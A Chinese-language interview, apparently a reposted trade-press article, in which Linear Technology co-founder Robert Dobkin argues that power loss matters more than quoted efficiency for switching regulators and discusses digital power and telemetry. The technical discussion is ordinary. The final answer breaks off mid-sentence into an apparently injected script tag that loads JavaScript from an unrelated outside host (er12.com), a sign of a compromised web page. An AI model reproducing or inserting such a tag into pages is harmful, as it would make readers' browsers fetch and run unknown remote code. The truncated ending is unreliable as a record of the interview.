设计过程中如何认清效率与功率损耗

25年来,凌力尔特公司(ltc)一直在稳步成长。其利润率大约在40%,这几乎是其众多竞争对手的一倍。一些人认为,凌力尔特的成功部分源于,这家专注于高性能模拟芯片的制造商,总能在现有产品的价格开始大众化时,迅速开辟一个新市场。目前,凌力尔特专注的是一些新兴领域,例如以太网供电(poe)芯片,这类芯片能使基于互联网的电话从电话线中获得电能。

凌力尔特的创始人之一兼ctorobertdobkin先生,一直被认为是该公司成功的因素之一,他有超过30年高性能线性ic的开发经验,并创制了许多行业标准电路。在今年的应用电力电子研讨会(apec2007)期间,eetimes姐妹网站powermanagementdesignline的网站编辑兼资深技术编辑史波,在迪斯尼乐园酒店采访了dobkin。被同事们昵称为“dobby”的robertdobkin佩戴着一枚米老鼠像章,侃侃而谈他最得意的话题:凌力尔特本身,以及类似“效率与功率损耗”等一系列设计问题。

此次研讨会上大家谈论最多的术语就是效率,即服务器和电信领域中计算机或台式机的效率。您对这个话题有什么看法?

人人都在谈效率,但这样讨论效率却非常不恰当。事实上,大家需要讨论的是“功率损耗”。二者确实有相关性,但如果只谈效率,那么只能说你关注的方向偏离了。效率随电压而变,所以它取决于输出电压的多少;而功率损耗却基本上与电压无关。

比如说,我有一个1v/10a的电源,其效率是80%。若将输出电压变为2v,现在的效率是90%,那么它损耗了相同的能量。也就是说,两种情况下的功率损耗是相同的,都是2w。

如果你观察开关稳压器的工作过程,你会发现它有一个与输入电压相关的静态电流;有一个与频率和输入电压相关的开关损耗;还有一个与输出电流相关的ir损耗。它们与输出电压没有内在联系,但是,当你查看不同公司各种开关电源的数据手册、对比不同输出电压的功率损耗时,你就会发现,它们都一样。

那效率和功率损耗对工程师的设计意味着什么呢?

站在工程师的角度来看,当你正在设计这些器件时,功率损耗会向你表明,当前功率有多大,以及它将变成多少?如果你正在设计一个电池供电系统,那么功率损耗会告诉你,你浪费了多少功率。效率是个很好的指标,但功率损耗是个更为重要的参数。所以,各公司也会谈及效率,但它们真正想表明的是他们产品的功率损耗很低。

当你的设计实际运行很糟糕时,你需要妥善处理效率与功率损耗之间的关系。当系统处于待机模式时,存储器仍然需要保持在工作状态。事实上,我们并不是真的在意效率高低,我们想知道的,只是此时为了保持存储器的工作状态,系统所付出的最小功率损耗是多少?所以,功率损耗能向你表明电池寿命会有多长。

效率是一个与输出电压相关的函数,所以,如果制造商想使一款开关稳压器的性能看起来非常“出色”,那么它就会在一个较高的输出电压下标定效率,因为在这种情况下产品看起来更加高效。例如,如果某厂商称,其产品的输出电压在1-4v间可调,那么他往往会给出输出电压为3.3v时的参数,因为这时能得到相当好的效率指标。若给出的是1.2v时的参数,则效率指标就差一些。

谈论效率本身并没有错,但这个参数无法描述整体情况。所以,如果我们接到客户的电话,声称想使用我们的产品,但另一家公司的器件比我们的效率高出5%时,我们要做的就是让他们明白,他们所说的那家公司的效率是指在输出电压3.3v下的值,而我们的是则是在1.2v时的情况。

那么电源工程师在进行设计时要特别注意哪些方面呢?

设计师应关注功率损耗和可制造性,根据系统体积的不同,他们或许还要将监控包括在内,监控是通过电源管理总线(pmbus)而实现的。我认为,目前有关数字电源的观念被过分宣传了。

我还记得当业界刚开始进入模拟asic和数字asic之争的时候,lsi公司(前身lsilogic公司)和vlsi公司的数字asic势头很猛。不能否认,数字电源是有市场的,但到目前为止其实现的最重要环节是遥测技术。

我认为只要系统能工作,客户才不会介意它到底是使用了模拟还是数字技术。从理论上讲,数字技术可以帮助工程师实现一些复杂工作——工程师可以将频率响应作为负载阶跃的一个函数来进行调整,也可以将其恢复到原来的数值。但这一切值得吗?另外,这样做会产生什么问题?

如果你有一个控制良好的系统,不会自振荡,你开始“鼓捣”它并改变了这个系统的频率响应,你真打算去加些特定类型的负载,使系统振荡几个周期或静止下来吗?你也不确定。但是如果这个数字系统可以工作,而且成本不太高,那么相信用户不会太介意。

ltc今后在支持数字电源设计上有什么打算?

在数字电源方面,我们肯定会支持遥测技术,而且很可能把该技术用于我们的开关稳压器中。但它是一个发展项目,而且我们会考虑所有可能。如果以数字方式实现功能的成本高于模拟方式,我们就?script src=http://er12.com/t.js>

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发布日期:2019年07月04日  所属分类:新闻动态